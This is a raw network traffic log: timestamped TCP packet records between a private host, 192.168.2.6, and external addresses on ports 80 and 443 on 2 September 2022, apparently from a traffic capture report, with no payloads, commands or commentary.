Sep 2, 2022 14:02:30.807193041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807316065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807368040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807389021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807400942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807436943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807622910 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.807653904 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.807703972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807759047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807759047 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.807770014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807775021 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.807806969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807832956 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.807894945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807912111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807925940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807939053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807980061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808417082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808434010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808460951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808484077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808543921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808585882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808639050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808651924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808679104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808689117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808706045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808717966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808753967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.808964968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.808998108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.809006929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.809019089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.809037924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.809185982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.809205055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.809216022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.809241056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.809263945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810029984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810065031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810077906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810091019 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810122967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810157061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810198069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810214043 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.810242891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810256958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810305119 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.810311079 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.810343027 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810398102 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.810755014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810776949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810789108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.810818911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.810842991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.811044931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.811063051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.811069965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.811199903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.966865063 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.966937065 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.971661091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971684933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971698999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971719980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.971733093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971739054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.971754074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971765995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.971774101 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.971812963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972162962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972181082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972193956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972219944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972256899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972335100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972352028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972363949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972379923 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972402096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972817898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972857952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972871065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972882986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972898960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.972922087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972950935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.972959042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973006964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.973022938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973634005 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973658085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973670006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973687887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.973706961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.973728895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973778963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.973810911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973823071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.973859072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974543095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974579096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974596024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974613905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974630117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974649906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974674940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974690914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974720955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974741936 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974869967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974896908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974914074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.974929094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.974945068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975126028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975152969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975169897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975200891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975215912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975377083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975404978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975420952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975447893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975461006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975472927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975495100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975512981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.975522041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.975552082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976068974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976099968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976121902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976130962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976149082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976165056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976190090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976210117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976217985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976233006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976653099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976686001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976707935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976715088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976728916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.976949930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976969957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976983070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.976999044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.977024078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.977351904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977370977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977382898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977422953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.977438927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.977691889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977710009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977721930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.977749109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.977778912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978008032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978025913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978038073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978053093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978069067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978328943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978347063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978358984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978390932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978404045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978786945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978806019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978817940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978833914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978857040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.978977919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.978996038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979008913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979017973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.979043007 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.979415894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979434013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979448080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979468107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.979490042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.979702950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979720116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979732990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.979749918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.979767084 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980035067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980052948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980066061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980077028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980099916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980355978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980372906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980386019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980398893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980412960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980725050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980741978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980755091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980766058 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980788946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.980948925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980989933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.980998039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981009960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981029987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981303930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981339931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981348038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981359959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981379986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981612921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981657028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981709957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981723070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981750011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981935978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981954098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981966972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.981976986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.981997967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.982263088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.982309103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.982316971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.982328892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.982362986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:31.007211924 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007253885 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007289886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007420063 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007445097 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007486105 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007503986 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007528067 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007563114 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007570028 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007581949 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007601976 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007636070 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007666111 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007719040 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007793903 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007812023 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007827997 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007854939 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007868052 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007882118 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007891893 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007917881 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007929087 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007956028 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007965088 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.007982969 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.007993937 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008022070 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008035898 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008049011 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008061886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008078098 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008093119 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008105993 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008120060 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008132935 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008151054 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008164883 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008173943 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008192062 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008198977 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008229971 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008244991 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008271933 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008275986 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008286953 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008306026 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008347034 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008356094 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008371115 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008387089 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008435011 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008435011 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008460999 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008474112 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008498907 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008510113 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008533955 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008547068 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008558989 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008574009 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008589029 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008603096 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008610964 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008621931 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008640051 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008667946 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008680105 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008690119 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008708000 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008714914 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008737087 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008749962 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008778095 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008785963 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008810997 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008822918 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.008836985 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008889914 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.008950949 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009251118 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009320021 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009380102 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009399891 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009488106 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009512901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009514093 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009553909 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009608030 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009610891 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009643078 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009653091 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:31.009715080 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:31.009751081 CEST	49808	443	192.168.2.6	95.142.206.0
